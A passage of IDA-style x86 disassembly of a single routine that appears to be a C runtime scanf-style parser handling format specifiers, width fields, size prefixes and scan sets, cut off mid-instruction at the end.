--------------------------------------------------------------------------- loc_4192BD: ; CODE XREF: sub_4192AF+3j push edx call sub_41B1A6 pop ecx retn sub_4192AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4192C5 proc near ; CODE XREF: sub_416B53+2Ap var_1D8 = word ptr -1D8h var_1D4 = byte ptr -1D4h var_1D3 = byte ptr -1D3h var_1D0 = dword ptr -1D0h var_1CC = dword ptr -1CCh var_1C8 = byte ptr -1C8h var_1C7 = byte ptr -1C7h var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_39 = byte ptr -39h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 1C8h push offset stru_42BF10 call __SEH_prolog mov eax, dword_432A68 xor eax, [ebp+4] mov [ebp+var_1C], eax xor eax, eax mov [ebp+var_20], eax mov [ebp+var_24], eax mov [ebp+var_28], eax and [ebp+var_29], al mov [ebp+var_30], eax mov [ebp+var_34], eax loc_4192F3: ; CODE XREF: sub_4192C5+88j ; sub_4192C5+A55j ... mov eax, [ebp+arg_4] mov al, [eax] test al, al jz loc_419D32 movzx eax, al push eax call sub_41E752 pop ecx test eax, eax jz short loc_41934F dec [ebp+var_30] loc_419311: ; CODE XREF: sub_4192C5+62j inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_4192AF mov esi, eax push esi call sub_41E752 pop ecx test eax, eax jnz short loc_419311 cmp esi, 0FFFFFFFFh jz short loc_419339 push [ebp+arg_0] push esi call sub_41E78C pop ecx pop ecx loc_419339: ; CODE XREF: sub_4192C5+67j ; sub_4192C5+86j inc [ebp+arg_4] mov eax, [ebp+arg_4] movzx eax, byte ptr [eax] push eax call sub_41E752 pop ecx test eax, eax jnz short loc_419339 jmp short loc_4192F3 ; --------------------------------------------------------------------------- loc_41934F: ; CODE XREF: sub_4192C5+47j mov esi, [ebp+arg_4] cmp byte ptr [esi], 25h jnz loc_419CAE xor edi, edi mov [ebp+var_38], edi and [ebp+var_39], 0 mov [ebp+var_40], edi mov [ebp+var_44], edi mov [ebp+var_48], edi and [ebp+var_49], 0 and [ebp+var_4A], 0 and [ebp+var_4B], 0 and [ebp+var_4C], 0 and [ebp+var_4D], 0 and [ebp+var_4E], 0 mov [ebp+var_4F], 1 mov [ebp+var_54], edi loc_41938C: ; CODE XREF: sub_4192C5+186j inc esi movzx ebx, byte ptr [esi] movzx eax, bl push eax call sub_41E6D9 pop ecx test eax, eax jz short loc_4193AD inc [ebp+var_44] lea eax, [edi+edi*4] lea edi, [ebx+eax*2-30h] jmp loc_419447 ; --------------------------------------------------------------------------- loc_4193AD: ; CODE XREF: sub_4192C5+D7j cmp ebx, 4Eh jg short loc_419425 jz loc_419447 cmp ebx, 2Ah jz short loc_419420 cmp ebx, 46h jz loc_419447 cmp ebx, 49h jz short loc_4193D5 cmp ebx, 4Ch jnz short loc_419434 inc [ebp+var_4F] jmp short loc_419447 ; --------------------------------------------------------------------------- loc_4193D5: ; CODE XREF: sub_4192C5+104j mov cl, [esi+1] cmp cl, 36h jnz short loc_4193F4 lea eax, [esi+2] cmp byte ptr [eax], 34h jnz short loc_4193F4 mov esi, eax inc [ebp+var_54] and [ebp+var_5C], 0 and [ebp+var_58], 0 jmp short loc_419447 ; --------------------------------------------------------------------------- loc_4193F4: ; CODE XREF: sub_4192C5+116j ; sub_4192C5+11Ej cmp cl, 33h jnz short loc_419405 lea eax, [esi+2] cmp byte ptr [eax], 32h jnz short loc_419405 mov esi, eax jmp short loc_419447 ; --------------------------------------------------------------------------- loc_419405: ; CODE XREF: sub_4192C5+132j ; sub_4192C5+13Aj cmp cl, 64h jz short loc_419447 cmp cl, 69h jz short loc_419447 cmp cl, 6Fh jz short loc_419447 cmp cl, 78h jz short loc_419447 cmp cl, 58h jnz short loc_419434 jmp short loc_419447 ; --------------------------------------------------------------------------- loc_419420: ; CODE XREF: sub_4192C5+F6j inc [ebp+var_4B] jmp short loc_419447 ; --------------------------------------------------------------------------- loc_419425: ; CODE XREF: sub_4192C5+EBj cmp ebx, 68h jz short loc_419441 cmp ebx, 6Ch jz short loc_419439 cmp ebx, 77h jz short loc_41943C loc_419434: ; CODE XREF: sub_4192C5+109j ; sub_4192C5+157j inc [ebp+var_4C] jmp short loc_419447 ; --------------------------------------------------------------------------- loc_419439: ; CODE XREF: sub_4192C5+168j inc [ebp+var_4F] loc_41943C: ; CODE XREF: sub_4192C5+16Dj inc [ebp+var_4E] jmp short loc_419447 ; --------------------------------------------------------------------------- loc_419441: ; CODE XREF: sub_4192C5+163j dec [ebp+var_4F] dec [ebp+var_4E] loc_419447: ; CODE XREF: sub_4192C5+E3j ; sub_4192C5+EDj ... cmp [ebp+var_4C], 0 jz loc_41938C mov [ebp+var_48], edi mov [ebp+arg_4], esi cmp [ebp+var_4B], 0 jnz short loc_419471 mov eax, [ebp+arg_8] mov [ebp+var_60], eax add eax, 4 mov [ebp+arg_8], eax mov ebx, [eax-4] mov [ebp+var_64], ebx jmp short loc_419474 ; --------------------------------------------------------------------------- loc_419471: ; CODE XREF: sub_4192C5+196j mov ebx, [ebp+var_64] loc_419474: ; CODE XREF: sub_4192C5+1AAj and [ebp+var_4C], 0 cmp [ebp+var_4E], 0 jnz short loc_419492 mov al, [esi] cmp al, 53h jz short loc_41948E cmp al, 43h jz short loc_41948E or [ebp+var_4E], 0FFh jmp short loc_419492 ; --------------------------------------------------------------------------- loc_41948E: ; CODE XREF: sub_4192C5+1BDj ; sub_4192C5+1C1j mov [ebp+var_4E], 1 loc_419492: ; CODE XREF: sub_4192C5+1B7j ; sub_4192C5+1C7j movzx edi, byte ptr [esi] or edi, 20h mov [ebp+var_68], edi cmp edi, 6Eh jz short loc_4194C9 cmp edi, 63h jz loc_419529 cmp edi, 7Bh jz short loc_419529 loc_4194AE: ; CODE XREF: sub_4192C5+1FFj inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_4192AF mov esi, eax push esi call sub_41E752 pop ecx test eax, eax jnz short loc_4194AE mov [ebp+var_28], esi loc_4194C9: ; CODE XREF: sub_4192C5+1D9j mov esi, [ebp+arg_0] loc_4194CC: ; CODE XREF: sub_4192C5+274j mov ecx, [ebp+var_44] test ecx, ecx jz short loc_4194DD cmp [ebp+var_48], 0 jz loc_419732 loc_4194DD: ; CODE XREF: sub_4192C5+20Cj cmp edi, 6Fh jg loc_419701 jz loc_419A74 cmp edi, 63h jz loc_4196E0 cmp edi, 64h jz loc_419A74 jle loc_419727 cmp edi, 67h jle short loc_419553 cmp edi, 69h jz short loc_41953B cmp edi, 6Eh jnz loc_419727 mov eax, [ebp+var_30] cmp [ebp+var_4B], 0 jz loc_419C86 jmp loc_419CA6 ; --------------------------------------------------------------------------- loc_419529: ; CODE XREF: sub_4192C5+1DEj ; sub_4192C5+1E7j inc [ebp+var_30] mov esi, [ebp+arg_0] mov edx, esi call sub_4192AF mov [ebp+var_28], eax jmp short loc_4194CC ; --------------------------------------------------------------------------- loc_41953B: ; CODE XREF: sub_4192C5+247j push 64h pop edi loc_41953E: ; CODE XREF: sub_4192C5+457j mov ebx, [ebp+var_28] cmp ebx, 2Dh jnz loc_41996D mov [ebp+var_4A], 1 jmp loc_419972 ; --------------------------------------------------------------------------- loc_419553: ; CODE XREF: sub_4192C5+242j lea esi, [ebp+var_1C8] mov ebx, [ebp+var_28] cmp ebx, 2Dh jnz short loc_41956F mov [ebp+var_1C8], bl lea esi, [ebp+var_1C7] jmp short loc_419574 ; --------------------------------------------------------------------------- loc_41956F: ; CODE XREF: sub_4192C5+29Aj cmp ebx, 2Bh jnz short loc_41958B loc_419574: ; CODE XREF: sub_4192C5+2A8j dec [ebp+var_48] inc [ebp+var_30] mov edi, [ebp+arg_0] mov edx, edi call sub_4192AF mov ebx, eax mov [ebp+var_28], ebx jmp short loc_41958E ; --------------------------------------------------------------------------- loc_41958B: ; CODE XREF: sub_4192C5+2ADj mov edi, [ebp+arg_0] loc_41958E: ; CODE XREF: sub_4192C5+2C4j cmp [ebp+var_44], 0 jz short loc_41959D cmp [ebp+var_48], 15Dh jle short loc_4195C5 loc_41959D: ; CODE XREF: sub_4192C5+2CDj mov [ebp+var_48], 15Dh jmp short loc_4195C5 ; --------------------------------------------------------------------------- loc_4195A6: ; CODE XREF: sub_4192C5+309j mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_4195D0 inc [ebp+var_40] mov [esi], bl inc esi inc [ebp+var_30] mov edx, edi call sub_4192AF mov ebx, eax mov [ebp+var_28], ebx loc_4195C5: ; CODE XREF: sub_4192C5+2D6j ; sub_4192C5+2DFj push ebx call sub_41E6D9 pop ecx test eax, eax jnz short loc_4195A6 loc_4195D0: ; CODE XREF: sub_4192C5+2E9j cmp byte_432CB8, bl jnz short loc_419622 mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_419622 inc [ebp+var_30] mov edx, edi call sub_4192AF mov ebx, eax mov al, byte_432CB8 mov [esi], al inc esi jmp short loc_419614 ; --------------------------------------------------------------------------- loc_4195F8: ; CODE XREF: sub_4192C5+35Bj mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_419622 inc [ebp+var_40] mov [esi], bl inc esi inc [ebp+var_30] mov edx, edi call sub_4192AF mov ebx, eax loc_419614: ; CODE XREF: sub_4192C5+331j push ebx mov [ebp+var_28], ebx call sub_41E6D9 pop ecx test eax, eax jnz short loc_4195F8 loc_419622: ; CODE XREF: sub_4192C5+311j ; sub_4192C5+31Bj ... cmp [ebp+var_40], 0 jz short loc_419697 cmp ebx, 65h jz short loc_419632 cmp ebx, 45h jnz short loc_419697 loc_419632: ; CODE XREF: sub_4192C5+366j mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_419697 mov byte ptr [esi], 65h inc esi inc [ebp+var_30] mov edx, edi call sub_4192AF mov ebx, eax mov [ebp+var_28], ebx cmp ebx, 2Dh jnz short loc_419659 mov [esi], al inc esi jmp short loc_41965E ; --------------------------------------------------------------------------- loc_419659: ; CODE XREF: sub_4192C5+38Dj cmp ebx, 2Bh jnz short loc_41968C loc_41965E: ; CODE XREF: sub_4192C5+392j mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jnz short loc_41967D and [ebp+var_48], eax jmp short loc_41968C ; --------------------------------------------------------------------------- loc_41966D: ; CODE XREF: sub_4192C5+3D0j mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_419697 inc [ebp+var_40] mov [esi], bl inc esi loc_41967D: ; CODE XREF: sub_4192C5+3A1j mov edx, edi inc [ebp+var_30] call sub_4192AF mov ebx, eax mov [ebp+var_28], ebx loc_41968C: ; CODE XREF: sub_4192C5+397j ; sub_4192C5+3A6j push ebx call sub_41E6D9 pop ecx test eax, eax jnz short loc_41966D loc_419697: ; CODE XREF: sub_4192C5+361j ; sub_4192C5+36Bj ... dec [ebp+var_30] cmp ebx, 0FFFFFFFFh jz short loc_4196A8 push edi push ebx call sub_41E78C pop ecx pop ecx loc_4196A8: ; CODE XREF: sub_4192C5+3D8j cmp [ebp+var_40], 0 jz loc_419D32 cmp [ebp+var_4B], 0 jnz loc_419CA6 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C8] push eax push [ebp+var_64] movsx eax, [ebp+var_4F] dec eax push eax call off_432A50 add esp, 0Ch jmp loc_419CA6 ; --------------------------------------------------------------------------- loc_4196E0: ; CODE XREF: sub_4192C5+22Aj test ecx, ecx jnz short loc_4196EE mov [ebp+var_44], 1 inc [ebp+var_48] loc_4196EE: ; CODE XREF: sub_4192C5+41Dj ; sub_4192C5+44Aj cmp [ebp+var_4E], 0 jle loc_419879 mov [ebp+var_4D], 1 jmp loc_419879 ; --------------------------------------------------------------------------- loc_419701: ; CODE XREF: sub_4192C5+21Bj mov eax, edi sub eax, 70h jz loc_419A70 sub eax, 3 jz short loc_4196EE dec eax dec eax jz loc_419A74 sub eax, 3 jz loc_41953E sub eax, 3 jz short loc_419753 loc_419727: ; CODE XREF: sub_4192C5+239j ; sub_4192C5+24Cj mov eax, [ebp+arg_4] movzx eax, byte ptr [eax] cmp eax, [ebp+var_28] jz short loc_41973B loc_419732: ; CODE XREF: sub_4192C5+212j cmp [ebp+var_28], 0FFFFFFFFh jmp loc_419D02 ; --------------------------------------------------------------------------- loc_41973B: ; CODE XREF: sub_4192C5+46Bj dec [ebp+var_29] cmp [ebp+var_4B], 0 jnz loc_419CA6 mov eax, [ebp+var_60] mov [ebp+arg_8], eax jmp loc_419CA6 ; --------------------------------------------------------------------------- loc_419753: ; CODE XREF: sub_4192C5+460j cmp [ebp+var_4E], 0 jle short loc_41975D mov [ebp+var_4D], 1 loc_41975D: ; CODE XREF: sub_4192C5+492j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi mov [ebp+var_1CC], edi cmp byte ptr [edi], 5Eh jnz short loc_41977A inc edi mov [ebp+var_1CC], edi or [ebp+var_49], 0FFh loc_41977A: ; CODE XREF: sub_4192C5+4A8j mov ebx, [ebp+var_20] test ebx, ebx jnz short loc_4197D2 and [ebp+ms_exc.disabled], ebx push 20h pop eax call sub_416B90 mov [ebp+ms_exc.old_esp], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_4197D2 ; --------------------------------------------------------------------------- loc_41979A: ; DATA XREF: .text:stru_42BF10o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_41979E: ; DATA XREF: .text:stru_42BF10o mov esp, [ebp+ms_exc.old_esp] call sub_41C0D8 push 20h call sub_416E1F pop ecx mov [ebp+var_20], eax test eax, eax jnz short loc_4197BE or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp loc_419D32 ; --------------------------------------------------------------------------- loc_4197BE: ; CODE XREF: sub_4192C5+4EEj mov [ebp+var_24], 1 or [ebp+ms_exc.disabled], 0FFFFFFFFh mov edi, [ebp+var_1CC] mov ebx, [ebp+var_20] loc_4197D2: ; CODE XREF: sub_4192C5+4BAj ; sub_4192C5+4D3j push 20h push 0 push ebx call sub_41E8F0 add esp, 0Ch cmp [ebp+var_68], 7Bh jnz short loc_419859 cmp byte ptr [edi], 5Dh jnz short loc_419859 mov dl, 5Dh inc edi mov byte ptr [ebx+0Bh], 20h jmp short loc_41985C ; --------------------------------------------------------------------------- loc_4197F3: ; CODE XREF: sub_4192C5+59Bj inc edi cmp al, 2Dh jnz short loc_419843 test dl, dl jz short loc_419843 mov cl, [edi] cmp cl, 5Dh jz short loc_419843 inc edi cmp dl, cl jnb short loc_41980C mov al, cl jmp short loc_419810 ; --------------------------------------------------------------------------- loc_41980C: ; CODE XREF: sub_4192C5+541j mov al, dl mov dl, cl loc_419810: ; CODE XREF: sub_4192C5+545j cmp dl, al ja short loc_41983F movzx esi, dl sub al, dl inc al movzx eax, al mov [ebp+var_1D0], eax loc_419824: ; CODE XREF: sub_4192C5+578j mov eax, esi shr eax, 3 add eax, ebx mov ecx, esi and ecx, 7 mov dl, 1 shl dl, cl or [eax], dl inc esi dec [ebp+var_1D0] jnz short loc_419824 loc_41983F: ; CODE XREF: sub_4192C5+54Dj xor dl, dl jmp short loc_41985C ; --------------------------------------------------------------------------- loc_419843: ; CODE XREF: sub_4192C5+531j ; sub_4192C5+535j ... mov [ebp+var_39], al movzx ecx, al mov eax, ecx shr eax, 3 add eax, ebx and ecx, 7 mov dl, 1 shl dl, cl or [eax], dl loc_419859: ; CODE XREF: sub_4192C5+51Ej ; sub_4192C5+523j mov dl, [ebp+var_39] loc_41985C: ; CODE XREF: sub_4192C5+52Cj ; sub_4192C5+57Cj mov al, [edi] cmp al, 5Dh jnz short loc_4197F3 test al, al jz loc_419D32 mov ebx, [ebp+var_64] cmp [ebp+var_68], 7Bh jnz short loc_419876 mov [ebp+arg_4], edi loc_419876: ; CODE XREF: sub_4192C5+5ACj mov edi, [ebp+var_68] loc_419879: ; CODE XREF: sub_4192C5+42Dj ; sub_4192C5+437j mov esi, ebx dec [ebp+var_30] cmp [ebp+var_28], 0FFFFFFFFh jz short loc_419891 push [ebp+arg_0] push [ebp+var_28] call sub_41E78C pop ecx pop ecx loc_419891: ; CODE XREF: sub_4192C5+5BDj ; sub_4192C5+754j ... cmp [ebp+var_44], 0 jz short loc_4198A5 mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz loc_419A37 loc_4198A5: ; CODE XREF: sub_4192C5+5D0j inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_4192AF mov [ebp+var_28], eax cmp eax, 0FFFFFFFFh jz loc_419A24 cmp edi, 63h jz short loc_419905 cmp edi, 73h jnz short loc_4198D5 cmp eax, 9 jl short loc_4198D0 cmp eax, 0Dh jle short loc_4198D5 loc_4198D0: ; CODE XREF: sub_4192C5+604j cmp eax, 20h jnz short loc_419905 loc_4198D5: ; CODE XREF: sub_4192C5+5FFj ; sub_4192C5+609j cmp edi, 7Bh jnz loc_419A24 mov ecx, eax and ecx, 7 xor edx, edx inc edx shl edx, cl mov ecx, eax sar ecx, 3 mov edi, [ebp+var_20] movsx ecx, byte ptr [ecx+edi] movsx edi, [ebp+var_49] xor ecx, edi test edx, ecx jz loc_419A24 mov edi, [ebp+var_68] loc_419905: ; CODE XREF: sub_4192C5+5FAj ; sub_4192C5+60Ej cmp [ebp+var_4B], 0 jnz loc_419A1E cmp [ebp+var_4D], 0 jz loc_419A13 mov [ebp+var_1D4], al movzx eax, al mov ecx, off_432A60 test byte ptr [ecx+eax*2+1], 80h jz short loc_419940 inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_4192AF mov [ebp+var_1D3], al loc_419940: ; CODE XREF: sub_4192C5+668j push dword_432CB4 lea eax, [ebp+var_1D4] push eax lea eax, [ebp+var_1D8] push eax call sub_41E8B8 add esp, 0Ch mov ax, [ebp+var_1D8] mov [ebx], ax inc ebx inc ebx jmp loc_419A16 ; --------------------------------------------------------------------------- loc_41996D: ; CODE XREF: sub_4192C5+27Fj cmp ebx, 2Bh jnz short loc_419990 loc_419972: ; CODE XREF: sub_4192C5+289j dec [ebp+var_48] jnz short loc_419981 test ecx, ecx jz short loc_419981 mov [ebp+var_4C], 1 jmp short loc_419990 ; --------------------------------------------------------------------------- loc_419981: ; CODE XREF: sub_4192C5+6B0j ; sub_4192C5+6B4j inc [ebp+var_30] mov edx, esi call sub_4192AF mov ebx, eax mov [ebp+var_28], ebx loc_419990: ; CODE XREF: sub_4192C5+6ABj ; sub_4192C5+6BAj cmp ebx, 30h jnz loc_419AA5 inc [ebp+var_30] mov edx, esi call sub_4192AF mov ebx, eax mov [ebp+var_28], ebx cmp bl, 78h jz short loc_4199ED cmp bl, 58h jz short loc_4199ED mov [ebp+var_40], 1 cmp edi, 78h jz short loc_4199D4 cmp [ebp+var_44], 0 jz short loc_4199CC dec [ebp+var_48] jnz short loc_4199CC inc [ebp+var_4C] loc_4199CC: ; CODE XREF: sub_4192C5+6FDj ; sub_4192C5+702j push 6Fh loc_4199CE: ; CODE XREF: sub_4192C5+74Cj pop edi jmp loc_419AA5 ; --------------------------------------------------------------------------- loc_4199D4: ; CODE XREF: sub_4192C5+6F7j dec [ebp+var_30] cmp ebx, 0FFFFFFFFh jz short loc_4199E5 push esi push ebx call sub_41E78C pop ecx pop ecx loc_4199E5: ; CODE XREF: sub_4192C5+715j push 30h pop ebx jmp loc_419AA2 ; --------------------------------------------------------------------------- loc_4199ED: ; CODE XREF: sub_4192C5+6E6j ; sub_4192C5+6EBj inc [ebp+var_30] mov edx, esi call sub_4192AF mov ebx, eax mov [ebp+var_28], ebx cmp [ebp+var_44], 0 jz short loc_419A0F sub [ebp+var_48], 2 cmp [ebp+var_48], 1 jge short loc_419A0F inc [ebp+var_4C] loc_419A0F: ; CODE XREF: sub_4192C5+73Bj ; sub_4192C5+745j push 78h jmp short loc_4199CE ; --------------------------------------------------------------------------- loc_419A13: ; CODE XREF: sub_4192C5+64Ej mov [ebx], al inc ebx loc_419A16: ; CODE XREF: sub_4192C5+6A3j mov [ebp+var_64], ebx jmp loc_419891 ; --------------------------------------------------------------------------- loc_419A1E: ; CODE XREF: sub_4192C5+644j inc esi jmp loc_419891 ; --------------------------------------------------------------------------- loc_419A24: ; CODE XREF: sub_4192C5+5F1j ; sub_4192C5+613j ... dec [ebp+var_30] cmp eax, 0FFFFFFFFh jz short loc_419A37 push [ebp+arg_0] push eax call sub_41E78C pop ecx pop ecx loc_419A37: ; CODE XREF: sub_4192C5+5DAj ; sub_4192C5+765j cmp esi, ebx jz loc_419D32 cmp [ebp+var_4B], 0 jnz loc_419CA6 inc [ebp+var_34] cmp [ebp+var_68], 63h jz loc_419CA6 mov eax, [ebp+var_64] cmp [ebp+var_4D], 0 jz short loc_419A68 and word ptr [eax], 0 jmp loc_419CA6 ; --------------------------------------------------------------------------- loc_419A68: ; CODE XREF: sub_4192C5+798j and byte ptr [eax], 0 jmp loc_419CA6 ; --------------------------------------------------------------------------- loc_419A70: ; CODE XREF: sub_4192C5+441j mov [ebp+var_4F], 1 loc_419A74: ; CODE XREF: sub_4192C5+221j ; sub_4192C5+233j ... mov ebx, [ebp+var_28] cmp ebx, 2Dh jnz short loc_419A82 mov [ebp+var_4A], 1 jmp short loc_419A87 ; --------------------------------------------------------------------------- loc_419A82: ; CODE XREF: sub_4192C5+7B5j cmp ebx, 2Bh jnz short loc_419AA5 loc_419A87: ; CODE XREF: sub_4192C5+7BBj dec [ebp+var_48] jnz short loc_419A96 test ecx, ecx jz short loc_419A96 mov [ebp+var_4C], 1 jmp short loc_419AA5 ; --------------------------------------------------------------------------- loc_419A96: ; CODE XREF: sub_4192C5+7C5j ; sub_4192C5+7C9j inc [ebp+var_30] mov edx, esi call sub_4192AF mov ebx, eax loc_419AA2: ; CODE XREF: sub_4192C5+723j mov [ebp+var_28], ebx loc_419AA5: ; CODE XREF: sub_4192C5+6CEj ; sub_4192C5+70Aj ... cmp [ebp+var_54], 0 jz loc_419BAA cmp [ebp+var_4C], 0 jnz loc_419B88 loc_419AB9: ; CODE XREF: sub_4192C5+8BAj cmp edi, 78h jz short loc_419B04 cmp edi, 70h jz short loc_419B04 push ebx call sub_41E6D9 pop ecx test eax, eax jz short loc_419B35 cmp edi, 6Fh jnz short loc_419AED cmp ebx, 38h jge short loc_419B35 mov eax, [ebp+var_5C] mov ecx, [ebp+var_58] shld ecx, eax, 3 shl eax, 3 mov [ebp+var_5C], eax mov [ebp+var_58], ecx jmp short loc_419B38 ; --------------------------------------------------------------------------- loc_419AED: ; CODE XREF: sub_4192C5+80Cj push 0 push 0Ah push [ebp+var_58] push [ebp+var_5C] call sub_417220 mov [ebp+var_5C], eax mov [ebp+var_58], edx jmp short loc_419B38 ; --------------------------------------------------------------------------- loc_419B04: ; CODE XREF: sub_4192C5+7F7j ; sub_4192C5+7FCj push ebx call sub_41E713 pop ecx test eax, eax jz short loc_419B35 mov eax, [ebp+var_5C] mov ecx, [ebp+var_58] shld ecx, eax, 4 shl eax, 4 mov [ebp+var_5C], eax mov [ebp+var_58], ecx push ebx call sub_41E6D9 pop ecx test eax, eax jnz short loc_419B38 and ebx, 0FFFFFFDFh sub ebx, 7 jmp short loc_419B38 ; --------------------------------------------------------------------------- loc_419B35: ; CODE XREF: sub_4192C5+807j ; sub_4192C5+811j ... inc [ebp+var_4C] loc_419B38: ; CODE XREF: sub_4192C5+826j ; sub_4192C5+83Dj ... cmp [ebp+var_4C], 0 jnz short loc_419B6A inc [ebp+var_40] lea eax, [ebx-30h] cdq add [ebp+var_5C], eax adc [ebp+var_58], edx cmp [ebp+var_44], 0 jz short loc_419B5C dec [ebp+var_48] jnz short loc_419B5C mov [ebp+var_4C], 1 jmp short loc_419B7B ; --------------------------------------------------------------------------- loc_419B5C: ; CODE XREF: sub_4192C5+88Aj ; sub_4192C5+88Fj inc [ebp+var_30] mov edx, esi call sub_4192AF mov ebx, eax jmp short loc_419B7B ; --------------------------------------------------------------------------- loc_419B6A: ; CODE XREF: sub_4192C5+877j dec [ebp+var_30] cmp ebx, 0FFFFFFFFh jz short loc_419B7B push esi push ebx call sub_41E78C pop ecx pop ecx loc_419B7B: ; CODE XREF: sub_4192C5+895j ; sub_4192C5+8A3j ... cmp [ebp+var_4C], 0 jz loc_419AB9 mov [ebp+var_28], ebx loc_419B88: ; CODE XREF: sub_4192C5+7EEj cmp [ebp+var_4A], 0 jz loc_419C64 mov eax, [ebp+var_5C] neg eax mov ecx, [ebp+var_58] adc ecx, 0 neg ecx mov [ebp+var_5C], eax mov [ebp+var_58], ecx jmp loc_419C64 ; --------------------------------------------------------------------------- loc_419BAA: ; CODE XREF: sub_4192C5+7E4j cmp [ebp+var_4C], 0 jnz loc_419C5B loc_419BB4: ; CODE XREF: sub_4192C5+98Dj cmp edi, 78h jz short loc_419BE6 cmp edi, 70h jz short loc_419BE6 push ebx call sub_41E6D9 pop ecx test eax, eax jz short loc_419C08 cmp edi, 6Fh jnz short loc_419BD9 cmp ebx, 38h jge short loc_419C08 shl [ebp+var_38], 3 jmp short loc_419C0B ; --------------------------------------------------------------------------- loc_419BD9: ; CODE XREF: sub_4192C5+907j mov eax, [ebp+var_38] lea eax, [eax+eax*4] shl eax, 1 mov [ebp+var_38], eax jmp short loc_419C0B ; --------------------------------------------------------------------------- loc_419BE6: ; CODE XREF: sub_4192C5+8F2j ; sub_4192C5+8F7j push ebx call sub_41E713 pop ecx test eax, eax jz short loc_419C08 shl [ebp+var_38], 4 push ebx call sub_41E6D9 pop ecx test eax, eax jnz short loc_419C0B and ebx, 0FFFFFFDFh sub ebx, 7 jmp short loc_419C0B ; --------------------------------------------------------------------------- loc_419C08: ; CODE XREF: sub_4192C5+902j ; sub_4192C5+90Cj ... inc [ebp+var_4C] loc_419C0B: ; CODE XREF: sub_4192C5+912j ; sub_4192C5+91Fj ... cmp [ebp+var_4C], 0 jnz short loc_419C3D inc [ebp+var_40] mov eax, [ebp+var_38] lea eax, [eax+ebx-30h] mov [ebp+var_38], eax cmp [ebp+var_44], 0 jz short loc_419C2F dec [ebp+var_48] jnz short loc_419C2F mov [ebp+var_4C], 1 jmp short loc_419C4E ; --------------------------------------------------------------------------- loc_419C2F: ; CODE XREF: sub_4192C5+95Dj ; sub_4192C5+962j inc [ebp+var_30] mov edx, esi call sub_4192AF mov ebx, eax jmp short loc_419C4E ; --------------------------------------------------------------------------- loc_419C3D: ; CODE XREF: sub_4192C5+94Aj dec [ebp+var_30] cmp ebx, 0FFFFFFFFh jz short loc_419C4E push esi push ebx call sub_41E78C pop ecx pop ecx loc_419C4E: ; CODE XREF: sub_4192C5+968j ; sub_4192C5+976j ... cmp [ebp+var_4C], 0 jz loc_419BB4 mov [ebp+var_28], ebx loc_419C5B: ; CODE XREF: sub_4192C5+8E9j cmp [ebp+var_4A], 0 jz short loc_419C64 neg [ebp+var_38] loc_419C64: ; CODE XREF: sub_4192C5+8C7j ; sub_4192C5+8E0j ... cmp edi, 46h jnz short loc_419C6D and [ebp+var_40], 0 loc_419C6D: ; CODE XREF: sub_4192C5+9A2j cmp [ebp+var_40], 0 jz loc_419D32 cmp [ebp+var_4B], 0 jnz short loc_419CA6 inc [ebp+var_34] mov ebx, [ebp+var_64] mov eax, [ebp+var_38] loc_419C86: ; CODE XREF: sub_4192C5+259j cmp [ebp+var_54], 0 jz short loc_419C99 mov eax, [ebp+var_5C] mov [ebx], eax mov eax, [ebp+var_58] mov [ebx+4], eax jmp short loc_419CA6 ; --------------------------------------------------------------------------- loc_419C99: ; CODE XREF: sub_4192C5+9C5j cmp [ebp+var_4F], 0 jz short loc_419CA3 mov [ebx], eax jmp short loc_419CA6 ; --------------------------------------------------------------------------- loc_419CA3: ; CODE XREF: sub_4192C5+9D8j mov [ebx], ax loc_419CA6: ; CODE XREF: sub_4192C5+25Fj ; sub_4192C5+3F1j ... inc [ebp+var_29] inc [ebp+arg_4] jmp short loc_419D16 ; --------------------------------------------------------------------------- loc_419CAE: ; CODE XREF: sub_4192C5+90j inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_4192AF mov ebx, eax mov [ebp+var_28], ebx movzx eax, byte ptr [esi] inc esi mov [ebp+arg_4], esi cmp eax, ebx jnz short loc_419CFF movzx eax, bl mov ecx, off_432A60 test byte ptr [ecx+eax*2+1], 80h jz short loc_419D16 inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_4192AF movzx ecx, byte ptr [esi] inc esi mov [ebp+arg_4], esi cmp ecx, eax jz short loc_419D13 cmp eax, 0FFFFFFFFh jz short loc_419CFF push [ebp+arg_0] push eax call sub_41E78C pop ecx pop ecx loc_419CFF: ; CODE XREF: sub_4192C5+A02j ; sub_4192C5+A2Dj cmp ebx, 0FFFFFFFFh loc_419D02: ; CODE XREF: sub_4192C5+471j jz short loc_419D32 push [ebp+arg_0] push [ebp+var_28] call sub_41E78C pop ecx pop ecx jmp short loc_419D32 ; --------------------------------------------------------------------------- loc_419D13: ; CODE XREF: sub_4192C5+A28j dec [ebp+var_30] loc_419D16: ; CODE XREF: sub_4192C5+9E7j ; sub_4192C5+A12j cmp 